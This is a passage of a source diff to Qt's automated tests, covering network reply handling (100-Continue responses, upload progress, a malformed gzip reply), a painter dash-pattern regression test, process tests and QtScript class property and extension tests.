+    QTest::newRow("with_headers") << QByteArray("HTTP/1.1 100 Continue\r\nBla: x\r\n\r\nHTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n") << 200;
+    QTest::newRow("with_headers2") << QByteArray("HTTP/1.1 100 Continue\nBla: x\n\nHTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n") << 200;
 }
 
 void tst_QNetworkReply::ioGetFromHttpStatus100()
 {
     QFETCH(QByteArray, dataToSend);
+    QFETCH(int, statusCode);
     MiniHttpServer server(dataToSend);
     server.doClose = true;
 
@@ -2633,7 +2661,7 @@ void tst_QNetworkReply::ioGetFromHttpStatus100()
 
     QCOMPARE(reply->url(), request.url());
     QCOMPARE(reply->error(), QNetworkReply::NoError);
-    QCOMPARE(reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt(), 200);
+    QCOMPARE(reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt(), statusCode);
     QVERIFY(reply->rawHeader("bla").isNull());
 }
 
@@ -3501,7 +3529,7 @@ void tst_QNetworkReply::ioPostToHttpFromSocketSynchronous()
     QUrl url("http://" + QtNetworkSettings::serverName() + "/qtest/cgi-bin/md5sum.cgi");
     QNetworkRequest request(url);
     request.setAttribute(
-            static_cast<QNetworkRequest::Attribute>(SynchronousRequestAttribute),
+            QNetworkRequest::SynchronousRequestAttribute,
             true);
 
     QNetworkReplyPtr reply = manager.post(request, socketpair.endPoints[1]);
@@ -3693,12 +3721,12 @@ void tst_QNetworkReply::ioPostToHttpsUploadProgress()
     incomingSocket->setReadBufferSize(1*1024);
     QTestEventLoop::instance().enterLoop(2);
     // some progress should have been made
+    QVERIFY(!spy.isEmpty());
     QList<QVariant> args = spy.last();
     qDebug() << "tst_QNetworkReply::ioPostToHttpsUploadProgress"
             << args.at(0).toLongLong()
             << sourceFile.size()
             << spy.size();
-    QVERIFY(!args.isEmpty());
     QVERIFY(args.at(0).toLongLong() > 0);
     // FIXME this is where it messes up
 
@@ -3709,16 +3737,16 @@ void tst_QNetworkReply::ioPostToHttpsUploadProgress()
     incomingSocket->read(16*1024);
     QTestEventLoop::instance().enterLoop(2);
     // some more progress than before
+    QVERIFY(!spy.isEmpty());
     QList<QVariant> args2 = spy.last();
-    QVERIFY(!args2.isEmpty());
     QVERIFY(args2.at(0).toLongLong() > args.at(0).toLongLong());
 
     // set the read buffer to unlimited
     incomingSocket->setReadBufferSize(0);
     QTestEventLoop::instance().enterLoop(10);
     // progress should be finished
+    QVERIFY(!spy.isEmpty());
     QList<QVariant> args3 = spy.last();
-    QVERIFY(!args3.isEmpty());
     QVERIFY(args3.at(0).toLongLong() > args2.at(0).toLongLong());
     QCOMPARE(args3.at(0).toLongLong(), args3.at(1).toLongLong());
     QCOMPARE(args3.at(0).toLongLong(), sourceFile.size());
@@ -3808,6 +3836,8 @@ void tst_QNetworkReply::ioGetFromBuiltinHttp()
     if (reader.data.size() < testData.size()) { // oops?
         QCOMPARE(reader.data, testData.mid(0, reader.data.size()));
         qDebug() << "The data is incomplete, the last" << testData.size() - reader.data.size() << "bytes are missing";
+        QEXPECT_FAIL("http+limited", "Limiting is broken right now, check QTBUG-15065", Abort);
+        QEXPECT_FAIL("https+limited", "Limiting is broken right now, check QTBUG-15065", Abort);
     }
     QCOMPARE(reader.data.size(), testData.size());
     QCOMPARE(reader.data, testData);
@@ -3820,8 +3850,8 @@ void tst_QNetworkReply::ioGetFromBuiltinHttp()
         const int maxRate = rate * 1024 * (100+allowedDeviation) / 100;
         qDebug() << minRate << "<="<< server.transferRate << "<=" << maxRate << "?";
         QVERIFY(server.transferRate >= minRate);
-        QEXPECT_FAIL("http+limited", "Limiting is broken right now", Continue);
-        QEXPECT_FAIL("https+limited", "Limiting is broken right now", Continue);
+        QEXPECT_FAIL("http+limited", "Limiting is broken right now, check QTBUG-15065", Continue);
+        QEXPECT_FAIL("https+limited", "Limiting is broken right now, check QTBUG-15065", Continue);
         QVERIFY(server.transferRate <= maxRate);
     }
 }
@@ -3850,19 +3880,13 @@ void tst_QNetworkReply::ioPostToHttpUploadProgress()
     disconnect(&server, SIGNAL(newConnection()), &QTestEventLoop::instance(), SLOT(exitLoop()));
 
     incomingSocket->setReadBufferSize(1*1024);
-    QTestEventLoop::instance().enterLoop(2);
+    QTestEventLoop::instance().enterLoop(5);
     // some progress should have been made
     QList<QVariant> args = spy.last();
     QVERIFY(!args.isEmpty());
     QVERIFY(args.at(0).toLongLong() > 0);
-
-    incomingSocket->setReadBufferSize(32*1024);
-    incomingSocket->read(16*1024);
-    QTestEventLoop::instance().enterLoop(2);
-    // some more progress than before
-    QList<QVariant> args2 = spy.last();
-    QVERIFY(!args2.isEmpty());
-    QVERIFY(args2.at(0).toLongLong() > args.at(0).toLongLong());
+    // but not everything!
+    QVERIFY(args.at(0).toLongLong() != sourceFile.size());
 
     // set the read buffer to unlimited
     incomingSocket->setReadBufferSize(0);
@@ -3870,8 +3894,10 @@ void tst_QNetworkReply::ioPostToHttpUploadProgress()
     // progress should be finished
     QList<QVariant> args3 = spy.last();
     QVERIFY(!args3.isEmpty());
-    QVERIFY(args3.at(0).toLongLong() > args2.at(0).toLongLong());
+    // More progress than before
+    QVERIFY(args3.at(0).toLongLong() > args.at(0).toLongLong());
     QCOMPARE(args3.at(0).toLongLong(), args3.at(1).toLongLong());
+    // And actually finished..
     QCOMPARE(args3.at(0).toLongLong(), sourceFile.size());
 
     // after sending this, the QNAM should emit finished()
@@ -4276,7 +4302,7 @@ void tst_QNetworkReply::receiveCookiesFromHttpSynchronous()
     QNetworkRequest request(url);
 
     request.setAttribute(
-            static_cast<QNetworkRequest::Attribute>(SynchronousRequestAttribute),
+            QNetworkRequest::SynchronousRequestAttribute,
             true);
 
     QNetworkReplyPtr reply;
@@ -4368,7 +4394,7 @@ void tst_QNetworkReply::sendCookiesSynchronous()
     QNetworkRequest request(url);
 
     request.setAttribute(
-            static_cast<QNetworkRequest::Attribute>(SynchronousRequestAttribute),
+            QNetworkRequest::SynchronousRequestAttribute,
             true);
 
     QNetworkReplyPtr reply;
@@ -4510,7 +4536,7 @@ void tst_QNetworkReply::httpProxyCommandsSynchronous()
 
     // send synchronous request
     request.setAttribute(
-            static_cast<QNetworkRequest::Attribute>(SynchronousRequestAttribute),
+            QNetworkRequest::SynchronousRequestAttribute,
             true);
 
     QNetworkReplyPtr reply = manager.get(request);
@@ -4570,7 +4596,7 @@ void tst_QNetworkReply::proxyChange()
     manager.setProxy(dummyProxy);
     QNetworkReplyPtr reply3 = manager.get(req);
     connect(reply3, SIGNAL(finished()), &QTestEventLoop::instance(), SLOT(exitLoop()));
-    QTestEventLoop::instance().enterLoop(1);
+    QTestEventLoop::instance().enterLoop(5);
     QVERIFY(!QTestEventLoop::instance().timeout());
 
     QVERIFY(int(reply3->error()) > 0);
@@ -5236,6 +5262,7 @@ void tst_QNetworkReply::qtbug12908compressedHttpReply()
     // dd if=/dev/zero of=qtbug-12908 bs=16384  count=1 && gzip qtbug-12908 && base64 -w 0 qtbug-12908.gz
     QString encodedFile("H4sICDdDaUwAA3F0YnVnLTEyOTA4AO3BMQEAAADCoPVPbQwfoAAAAAAAAAAAAAAAAAAAAIC3AYbSVKsAQAAA");
     QByteArray decodedFile = QByteArray::fromBase64(encodedFile.toAscii());
+    QCOMPARE(decodedFile.size(), 63);
 
     MiniHttpServer server(header.toAscii() + decodedFile);
     server.doClose = true;
@@ -5248,6 +5275,31 @@ void tst_QNetworkReply::qtbug12908compressedHttpReply()
     QVERIFY(!QTestEventLoop::instance().timeout());
 
     QCOMPARE(reply->error(), QNetworkReply::NoError);
+    QCOMPARE(reply->size(), qint64(16384));
+    QCOMPARE(reply->readAll(), QByteArray(16384, '\0'));
+}
+
+void tst_QNetworkReply::compressedHttpReplyBrokenGzip()
+{
+    QString header("HTTP/1.0 200 OK\r\nContent-Encoding: gzip\r\nContent-Length: 63\r\n\r\n");
+
+    // dd if=/dev/zero of=qtbug-12908 bs=16384  count=1 && gzip qtbug-12908 && base64 -w 0 qtbug-12908.gz
+    // Then change "BMQ" to "BMX"
+    QString encodedFile("H4sICDdDaUwAA3F0YnVnLTEyOTA4AO3BMXEAAADCoPVPbQwfoAAAAAAAAAAAAAAAAAAAAIC3AYbSVKsAQAAA");
+    QByteArray decodedFile = QByteArray::fromBase64(encodedFile.toAscii());
+    QCOMPARE(decodedFile.size(), 63);
+
+    MiniHttpServer server(header.toAscii() + decodedFile);
+    server.doClose = true;
+
+    QNetworkRequest request(QUrl("http://localhost:" + QString::number(server.serverPort())));
+    QNetworkReplyPtr reply = manager.get(request);
+
+    connect(reply, SIGNAL(finished()), &QTestEventLoop::instance(), SLOT(exitLoop()));
+    QTestEventLoop::instance().enterLoop(10);
+    QVERIFY(!QTestEventLoop::instance().timeout());
+
+    QCOMPARE(reply->error(), QNetworkReply::ProtocolFailure);
 }
 
 // TODO add similar test for FTP
@@ -5325,7 +5377,7 @@ void tst_QNetworkReply::qtbug13431replyThrottling()
     connect(&nam, SIGNAL(finished(QNetworkReply*)), &helper, SLOT(replyFinished(QNetworkReply*)));
 
     // Download a bigger file
-    QNetworkRequest netRequest(QUrl("http://qt-test-server/qtest/bigfile"));
+    QNetworkRequest netRequest(QUrl("http://" + QtNetworkSettings::serverName() + "/qtest/bigfile"));
     helper.m_reply = nam.get(netRequest);
     // Set the throttle
     helper.m_reply->setReadBufferSize(36000);
@@ -5456,7 +5508,7 @@ void tst_QNetworkReply::synchronousRequest()
 #endif
 
     request.setAttribute(
-            static_cast<QNetworkRequest::Attribute>(SynchronousRequestAttribute),
+            QNetworkRequest::SynchronousRequestAttribute,
             true);
 
     QNetworkReplyPtr reply;
@@ -5487,6 +5539,7 @@ void tst_QNetworkReply::synchronousRequest()
     reply->deleteLater();
 }
 
+#ifndef QT_NO_OPENSSL
 void tst_QNetworkReply::synchronousRequestSslFailure()
 {
     // test that SSL won't be accepted with self-signed certificate,
@@ -5496,7 +5549,7 @@ void tst_QNetworkReply::synchronousRequestSslFailure()
     QUrl url("https://" + QtNetworkSettings::serverName() + "/qtest/rfc3252.txt");
     QNetworkRequest request(url);
     request.setAttribute(
-            static_cast<QNetworkRequest::Attribute>(SynchronousRequestAttribute),
+            QNetworkRequest::SynchronousRequestAttribute,
             true);
     QNetworkReplyPtr reply;
     QSignalSpy sslErrorsSpy(&manager, SIGNAL(sslErrors(QNetworkReply *, const QList<QSslError> &)));
@@ -5505,6 +5558,19 @@ void tst_QNetworkReply::synchronousRequestSslFailure()
     QCOMPARE(reply->error(), QNetworkReply::SslHandshakeFailedError);
     QCOMPARE(sslErrorsSpy.count(), 0);
 }
+#endif
+
+void tst_QNetworkReply::httpAbort()
+{
+    // FIXME: Implement a test that aborts a big HTTP reply
+    // a) after the first readyRead()
+    // b) immediatly after the get()
+    // c) after the finished()
+    // The goal is no crash and no irrelevant signals after the abort
+
+    // FIXME Also implement one where we do a big upload and then abort().
+    // It must not crash either.
+}
 
 // NOTE: This test must be last testcase in tst_qnetworkreply!
 void tst_QNetworkReply::parentingRepliesToTheApp()
diff --git a/tests/auto/qnetworksession/test/tst_qnetworksession.cpp b/tests/auto/qnetworksession/test/tst_qnetworksession.cpp
index 37fc9cd..3315836 100644
--- a/tests/auto/qnetworksession/test/tst_qnetworksession.cpp
+++ b/tests/auto/qnetworksession/test/tst_qnetworksession.cpp
@@ -60,8 +60,6 @@ QT_USE_NAMESPACE
 
 Q_DECLARE_METATYPE(QNetworkConfiguration)
 Q_DECLARE_METATYPE(QNetworkConfiguration::Type);
-Q_DECLARE_METATYPE(QNetworkSession::State);
-Q_DECLARE_METATYPE(QNetworkSession::SessionError);
 
 class tst_QNetworkSession : public QObject
 {
@@ -126,8 +124,6 @@ QNetworkConfiguration suitableConfiguration(QString bearerType, QNetworkConfigur
 
 void tst_QNetworkSession::initTestCase()
 {
-    qRegisterMetaType<QNetworkSession::State>("QNetworkSession::State");
-    qRegisterMetaType<QNetworkSession::SessionError>("QNetworkSession::SessionError");
     qRegisterMetaType<QNetworkConfiguration>("QNetworkConfiguration");
     qRegisterMetaType<QNetworkConfiguration::Type>("QNetworkConfiguration::Type");
 	
diff --git a/tests/auto/qpainter/tst_qpainter.cpp b/tests/auto/qpainter/tst_qpainter.cpp
index ce1ff77..c21514b 100644
--- a/tests/auto/qpainter/tst_qpainter.cpp
+++ b/tests/auto/qpainter/tst_qpainter.cpp
@@ -262,6 +262,8 @@ private slots:
     void QTBUG14614_gradientCacheRaceCondition();
     void drawTextOpacity();
 
+    void QTBUG17053_zeroDashPattern();
+
 private:
     void fillData();
     void setPenColor(QPainter& p);
@@ -4684,6 +4686,26 @@ void tst_QPainter::drawTextOpacity()
     QCOMPARE(image, copy);
 }
 
+void tst_QPainter::QTBUG17053_zeroDashPattern()
+{
+    QImage image(32, 32, QImage::Format_RGB32);
+    image.fill(0xffffffff);
+
+    QImage original = image;
+
+    QVector<qreal> pattern;
+    pattern << qreal(0) << qreal(0);
+
+    QPainter p(&image);
+    QPen pen(Qt::black, 2.0);
+    pen.setDashPattern(pattern);
+
+    p.setPen(pen);
+    p.drawLine(0, 0, image.width(), image.height());
+
+    QCOMPARE(image, original);
+}
+
 QTEST_MAIN(tst_QPainter)
 
 #include "tst_qpainter.moc"
diff --git a/tests/auto/qprocess/tst_qprocess.cpp b/tests/auto/qprocess/tst_qprocess.cpp
index b697431..2a8874e 100644
--- a/tests/auto/qprocess/tst_qprocess.cpp
+++ b/tests/auto/qprocess/tst_qprocess.cpp
@@ -249,6 +249,8 @@ void tst_QProcess::constructing()
     char c;
     QCOMPARE(process.read(&c, 1), qlonglong(-1));
     QCOMPARE(process.write(&c, 1), qlonglong(-1));
+
+    QProcess proc2;
 }
 
 void tst_QProcess::simpleStart()
@@ -265,7 +267,7 @@ void tst_QProcess::simpleStart()
     process->start("testProcessNormal/testProcessNormal");
     if (process->state() != QProcess::Starting)
         QCOMPARE(process->state(), QProcess::Running);
-    QVERIFY(process->waitForStarted(5000));
+    QVERIFY2(process->waitForStarted(5000), qPrintable(process->errorString()));
     QCOMPARE(process->state(), QProcess::Running);
 #if defined(Q_OS_WINCE)
     // Note: This actually seems incorrect, it will only exit the while loop when finishing fails
@@ -277,7 +279,7 @@ void tst_QProcess::simpleStart()
     while (process->waitForReadyRead(5000))
     { }
 #endif
-    QCOMPARE(process->state(), QProcess::NotRunning);
+    QCOMPARE(int(process->state()), int(QProcess::NotRunning));
 
     delete process;
     process = 0;
diff --git a/tests/auto/qscriptclass/tst_qscriptclass.cpp b/tests/auto/qscriptclass/tst_qscriptclass.cpp
index 16f09b6..9ab8318 100644
--- a/tests/auto/qscriptclass/tst_qscriptclass.cpp
+++ b/tests/auto/qscriptclass/tst_qscriptclass.cpp
@@ -65,15 +65,27 @@ public:
 
 private slots:
     void newInstance();
-    void getAndSetProperty();
+    void setScriptClassOfExistingObject();
+    void setScriptClassOfNonQtScriptObject();
+    void getAndSetPropertyFromCpp();
+    void getAndSetPropertyFromJS();
+    void deleteUndeletableProperty();
+    void writeReadOnlyProperty();
+    void writePropertyWithoutWriteAccess();
     void getProperty_invalidValue();
     void enumerate();
-    void extension();
+    void extension_None();
+    void extension_Callable();
+    void extension_Callable_construct();
+    void extension_HasInstance();
     void originalProperties1();
     void originalProperties2();
     void originalProperties3();
     void originalProperties4();
     void defaultImplementations();
+    void scriptClassObjectInPrototype();
+    void scriptClassWithNullEngine();
+    void scriptClassInOtherEngine();
 };
 
 tst_QScriptClass::tst_QScriptClass()
@@ -306,7 +318,12 @@ void TestClass::setProperty(QScriptValue &object, const QScriptString &name,
     CustomProperty *prop = findCustomProperty(name);
     if (!prop)
         return;
-    prop->value = value;
+    if (prop->pflags & QScriptValue::ReadOnly)
+        return;
+    if (!value.isValid()) // deleteProperty() requested
+        removeCustomProperty(name);
+    else
+        prop->value = value;
 }
 
 QScriptValue::PropertyFlags TestClass::propertyFlags(
@@ -600,7 +617,7 @@ void tst_QScriptClass::newInstance()
     QScriptValue obj1 = eng.newObject(&cls);
     QVERIFY(!obj1.data().isValid());
     QVERIFY(obj1.prototype().strictlyEquals(cls.prototype()));
-    QEXPECT_FAIL("", "classname is not implemented", Continue);
+    QEXPECT_FAIL("", "QTBUG-17599: classname is not implemented", Continue);
     QCOMPARE(obj1.toString(), QString::fromLatin1("[object TestClass]"));
     QCOMPARE(obj1.scriptClass(), (QScriptClass*)&cls);
 
@@ -611,7 +628,12 @@ void tst_QScriptClass::newInstance()
     QCOMPARE(obj2.scriptClass(), (QScriptClass*)&cls);
     QVERIFY(!obj2.equals(obj1));
     QVERIFY(!obj2.strictlyEquals(obj1));
+}
 
+void tst_QScriptClass::setScriptClassOfExistingObject()
+{
+    QScriptEngine eng;
+    TestClass cls(&eng);
     QScriptValue obj3 = eng.newObject();
     QCOMPARE(obj3.scriptClass(), (QScriptClass*)0);
     obj3.setScriptClass(&cls);
@@ -625,7 +647,12 @@ void tst_QScriptClass::newInstance()
     TestClass cls2(&eng);
     obj3.setScriptClass(&cls2);
     QCOMPARE(obj3.scriptClass(), (QScriptClass*)&cls2);
+}
 
+void tst_QScriptClass::setScriptClassOfNonQtScriptObject()
+{
+    QScriptEngine eng;
+    TestClass cls(&eng);
     // undefined behavior really, but shouldn't crash
     QScriptValue arr = eng.newArray();
     QVERIFY(arr.isArray());
@@ -639,7 +666,7 @@ void tst_QScriptClass::newInstance()
     QVERIFY(arr.isObject());
 }
 
-void tst_QScriptClass::getAndSetProperty()
+void tst_QScriptClass::getAndSetPropertyFromCpp()
 {
     QScriptEngine eng;
 
@@ -651,7 +678,9 @@ void tst_QScriptClass::getAndSetProperty()
     QScriptString bar = eng.toStringHandle("bar");
     QScriptValue num(&eng, 123);
 
-    // should behave just like normal
+    // Initially our TestClass instances have no custom properties,
+    // and queryProperty() will always return false.
+    // Hence, the properties will be created as normal JS properties.
     for (int x = 0; x < 2; ++x) {
         QScriptValue &o = (x == 0) ? obj1 : obj2;
         for (int y = 0; y < 2; ++y) {
@@ -712,7 +741,7 @@ void tst_QScriptClass::getAndSetProperty()
         QCOMPARE(obj1.propertyFlags(foo2), foo2Pflags);
         QVERIFY(cls.lastQueryPropertyObject().strictlyEquals(obj1));
         QVERIFY(cls.lastQueryPropertyName() == foo2);
-        QEXPECT_FAIL("", "classObject.getOwnPropertyDescriptor() reads the property value", Continue);
+        QEXPECT_FAIL("", "QTBUG-17601: classObject.getOwnPropertyDescriptor() reads the property value", Continue);
         QVERIFY(!cls.lastPropertyObject().isValid());
         QVERIFY(cls.lastPropertyFlagsObject().strictlyEquals(obj1));
         QVERIFY(cls.lastPropertyFlagsName() == foo2);
@@ -757,6 +786,80 @@ void tst_QScriptClass::getAndSetProperty()
     QVERIFY(!obj1.property(bar).isValid());
 }
 
+void tst_QScriptClass::getAndSetPropertyFromJS()
+{
+    QScriptEngine eng;
+    TestClass cls(&eng);
+    cls.addCustomProperty(eng.toStringHandle("x"),
+                          QScriptClass::HandlesReadAccess
+                          | QScriptClass::HandlesWriteAccess,
+                          /*id=*/1, /*flags=*/0, /*value=*/123);
+    eng.globalObject().setProperty("o", eng.newObject(&cls));
+
+    // Accessing a custom property
+    QCOMPARE(eng.evaluate("o.x").toInt32(), 123);
+    QCOMPARE(eng.evaluate("o.x = 456; o.x").toInt32(), 456);
+
+    // Accessing a new JS property
+    QVERIFY(eng.evaluate("o.y").isUndefined());
+    QCOMPARE(eng.evaluate("o.y = 789; o.y").toInt32(), 789);
+
+    // Deleting custom property
+    QVERIFY(eng.evaluate("delete o.x").toBool());
+    QVERIFY(eng.evaluate("o.x").isUndefined());
+
+    // Deleting JS property
+    QVERIFY(eng.evaluate("delete o.y").toBool());
+    QVERIFY(eng.evaluate("o.y").isUndefined());
+}
+
+void tst_QScriptClass::deleteUndeletableProperty()
+{
+    QScriptEngine eng;
+    TestClass cls(&eng);
+    cls.addCustomProperty(eng.toStringHandle("x"), QScriptClass::HandlesWriteAccess,
+                          /*id=*/0, QScriptValue::Undeletable, QScriptValue());
+    eng.globalObject().setProperty("o", eng.newObject(&cls));
+    QVERIFY(!eng.evaluate("delete o.x").toBool());
+}
+
+void tst_QScriptClass::writeReadOnlyProperty()
+{
+    QScriptEngine eng;
+    TestClass cls(&eng);
+    cls.addCustomProperty(eng.toStringHandle("x"),
+                          QScriptClass::HandlesReadAccess
+                          | QScriptClass::HandlesWriteAccess,
+                          /*id=*/0, QScriptValue::ReadOnly, 123);
+    eng.globalObject().setProperty("o", eng.newObject(&cls));
+    // Note that if a property is read-only, the setProperty()
+    // reimplementation will still get called; it's up to that
+    // function to respect the ReadOnly flag.
+    QCOMPARE(eng.evaluate("o.x = 456; o.x").toInt32(), 123);
+}
+
+void tst_QScriptClass::writePropertyWithoutWriteAccess()
+{
+    QScriptEngine eng;
+    TestClass cls(&eng);
+    cls.addCustomProperty(eng.toStringHandle("x"),
+                          QScriptClass::HandlesReadAccess,
+                          /*id=*/0, /*flags=*/0, 123);
+    eng.globalObject().setProperty("o", eng.newObject(&cls));
+    QCOMPARE(eng.evaluate("o.x").toInt32(), 123);
+
+    // This will create a JS property on the instance that
+    // shadows the custom property.
+    // This behavior is not documented. It might be more
+    // intuitive to treat a property that only handles read
+    // access as a read-only, non-shadowable property.
+    QCOMPARE(eng.evaluate("o.x = 456; o.x").toInt32(), 456);
+
+    QVERIFY(eng.evaluate("delete o.x").toBool());
+    // Now the custom property is seen again.
+    QCOMPARE(eng.evaluate("o.x").toInt32(), 123);
+}
+
 void tst_QScriptClass::getProperty_invalidValue()
 {
     QScriptEngine eng;
@@ -806,10 +909,12 @@ void tst_QScriptClass::enumerate()
 
     cls.setIterationEnabled(true);
     QScriptValueIterator it(obj);
+    // This test relies on the order in which properties are enumerated,
+    // which we don't guarantee. However, for compatibility's sake we prefer
+    // that normal JS properties come before QScriptClass properties.
     for (int x = 0; x < 2; ++x) {
         QVERIFY(it.hasNext());
         it.next();
-        QEXPECT_FAIL("", "", Abort);
         QVERIFY(it.scriptName() == foo);
         QVERIFY(it.hasNext());
         it.next();
@@ -828,229 +933,238 @@ void tst_QScriptClass::enumerate()
     }
 }
 
-void tst_QScriptClass::extension()
+void tst_QScriptClass::extension_None()
+{
+    QScriptEngine eng;
+    TestClass cls(&eng);
+    cls.setCallableMode(TestClass::NotCallable);
+    QVERIFY(!cls.supportsExtension(QScriptClass::Callable));
+    QVERIFY(!cls.supportsExtension(QScriptClass::HasInstance));
+    QScriptValue obj = eng.newObject(&cls);
+    QVERIFY(!obj.call().isValid());
+    QCOMPARE((int)cls.lastExtensionType(), -1);
+    QVERIFY(!obj.instanceOf(obj));
+    QCOMPARE((int)cls.lastExtensionType(), -1);
+    QVERIFY(!obj.construct().isValid());
+}
+
+void tst_QScriptClass::extension_Callable()
 {
     QScriptEngine eng;
+    TestClass cls(&eng);
+    cls.setCallableMode(TestClass::CallableReturnsSum);
+    QVERIFY(cls.supportsExtension(QScriptClass::Callable));
+
+    QScriptValue obj = eng.newObject(&cls);
+    eng.globalObject().setProperty("obj", obj);
+    obj.setProperty("one", QScriptValue(&eng, 1));
+    obj.setProperty("two", QScriptValue(&eng, 2));
+    obj.setProperty("three", QScriptValue(&eng, 3));
+    // From C++
+    cls.clearReceivedArgs();
     {
-        TestClass cls(&eng);
-        cls.setCallableMode(TestClass::NotCallable);
-        QVERIFY(!cls.supportsExtension(QScriptClass::Callable));
-        QVERIFY(!cls.supportsExtension(QScriptClass::HasInstance));
-        QScriptValue obj = eng.newObject(&cls);
-        QVERIFY(!obj.call().isValid());
-        QCOMPARE((int)cls.lastExtensionType(), -1);
-        QVERIFY(!obj.instanceOf(obj));
-        QCOMPARE((int)cls.lastExtensionType(), -1);
-        QVERIFY(!obj.construct().isValid());
+        QScriptValueList args;
+        args << QScriptValue(&eng, 4) << QScriptValue(&eng, 5);
+        QScriptValue ret = obj.call(obj, args);
+        QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable);
+        QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptContext*>());
+        QVERIFY(ret.isNumber());
+        QCOMPARE(ret.toNumber(), qsreal(1+2+3+4+5));
     }
-    // Callable
+    // From JS
+    cls.clearReceivedArgs();
     {
-        TestClass cls(&eng);
-        cls.setCallableMode(TestClass::CallableReturnsSum);
-        QVERIFY(cls.supportsExtension(QScriptClass::Callable));
-
-        QScriptValue obj = eng.newObject(&cls);
-        eng.globalObject().setProperty("obj", obj);
-        obj.setProperty("one", QScriptValue(&eng, 1));
-        obj.setProperty("two", QScriptValue(&eng, 2));
-        obj.setProperty("three", QScriptValue(&eng, 3));
-        // From C++
-        cls.clearReceivedArgs();
-        {
-            QScriptValueList args;
-            args << QScriptValue(&eng, 4) << QScriptValue(&eng, 5);
-            QScriptValue ret = obj.call(obj, args);
-            QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable);
-            QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptContext*>());
-            QVERIFY(ret.isNumber());
-            QCOMPARE(ret.toNumber(), qsreal(15));
-        }
-        // From JS
-        cls.clearReceivedArgs();
-        {
-            QScriptValue ret = eng.evaluate("obj(4, 5)");
-            QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable);
-            QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptContext*>());
-            QVERIFY(ret.isNumber());
-            QCOMPARE(ret.toNumber(), qsreal(15));
-        }
+        QScriptValue ret = eng.evaluate("obj(4, 5)");
+        QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable);
+        QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptContext*>());
+        QVERIFY(ret.isNumber());
+        QCOMPARE(ret.toNumber(), qsreal(1+2+3+4+5));
+    }
 
-        cls.setCallableMode(TestClass::CallableReturnsArgument);
-        // From C++
-        cls.clearReceivedArgs();
-        {
-            QScriptValue ret = obj.call(obj, QScriptValueList() << 123);
-            QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable);
-            QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptContext*>());
-            QVERIFY(ret.isNumber());
-            QCOMPARE(ret.toInt32(), 123);
-        }
-        cls.clearReceivedArgs();
-        {
-            QScriptValue ret = obj.call(obj, QScriptValueList() << true);
-            QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable);
-            QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptContext*>());
-            QVERIFY(ret.isBoolean());
-            QCOMPARE(ret.toBoolean(), true);
-        }
-        {
-            QScriptValue ret = obj.call(obj, QScriptValueList() << QString::fromLatin1("ciao"));
-            QVERIFY(ret.isString());
-            QCOMPARE(ret.toString(), QString::fromLatin1("ciao"));
-        }
-        {
-            QScriptValue objobj = eng.newObject();
-            QScriptValue ret = obj.call(obj, QScriptValueList() << objobj);
-            QVERIFY(ret.isObject());
-            QVERIFY(ret.strictlyEquals(objobj));
-        }
-        {
-            QScriptValue ret = obj.call(obj, QScriptValueList() << QScriptValue());
-            QVERIFY(ret.isUndefined());
-        }
-        // From JS
-        cls.clearReceivedArgs();
-        {
-            QScriptValue ret = eng.evaluate("obj(123)");
-            QVERIFY(ret.isNumber());
-            QCOMPARE(ret.toInt32(), 123);
-        }
+    cls.setCallableMode(TestClass::CallableReturnsArgument);
+    // From C++
+    cls.clearReceivedArgs();
+    {
+        QScriptValue ret = obj.call(obj, QScriptValueList() << 123);
+        QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable);
+        QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptContext*>());
+        QVERIFY(ret.isNumber());
+        QCOMPARE(ret.toInt32(), 123);
+    }
+    cls.clearReceivedArgs();
+    {
+        QScriptValue ret = obj.call(obj, QScriptValueList() << true);
+        QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable);
+        QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptContext*>());
+        QVERIFY(ret.isBoolean());
+        QCOMPARE(ret.toBoolean(), true);
+    }
+    {
+        QScriptValue ret = obj.call(obj, QScriptValueList() << QString::fromLatin1("ciao"));
+        QVERIFY(ret.isString());
+        QCOMPARE(ret.toString(), QString::fromLatin1("ciao"));
+    }
+    {
+        QScriptValue objobj = eng.newObject();
+        QScriptValue ret = obj.call(obj, QScriptValueList() << objobj);
+        QVERIFY(ret.isObject());
+        QVERIFY(ret.strictlyEquals(objobj));
+    }
+    {
+        QScriptValue ret = obj.call(obj, QScriptValueList() << QScriptValue());
+        QVERIFY(ret.isUndefined());
+    }
+    // From JS
+    cls.clearReceivedArgs();
+    {
+        QScriptValue ret = eng.evaluate("obj(123)");
+        QVERIFY(ret.isNumber());
+        QCOMPARE(ret.toInt32(), 123);
+    }
 
-        cls.setCallableMode(TestClass::CallableReturnsInvalidVariant);
-        {
-            QScriptValue ret = obj.call(obj);
-            QVERIFY(ret.isUndefined());
-        }
+    cls.setCallableMode(TestClass::CallableReturnsInvalidVariant);
+    {
+        QScriptValue ret = obj.call(obj);
+        QVERIFY(ret.isUndefined());
+    }
 
-        cls.setCallableMode(TestClass::CallableReturnsThisObject);
-        // From C++
-        {
-            QScriptValue ret = obj.call(obj);
-            QVERIFY(ret.isObject());
-            QVERIFY(ret.strictlyEquals(obj));
-        }
-        // From JS
-        {
-            QScriptValue ret = eng.evaluate("obj()");
-            QVERIFY(ret.isObject());
-            QVERIFY(ret.strictlyEquals(eng.globalObject()));
-        }
+    cls.setCallableMode(TestClass::CallableReturnsThisObject);
+    // From C++
+    {
+        QScriptValue ret = obj.call(obj);
+        QVERIFY(ret.isObject());
+        QVERIFY(ret.strictlyEquals(obj));
+    }
+    // From JS
+    {
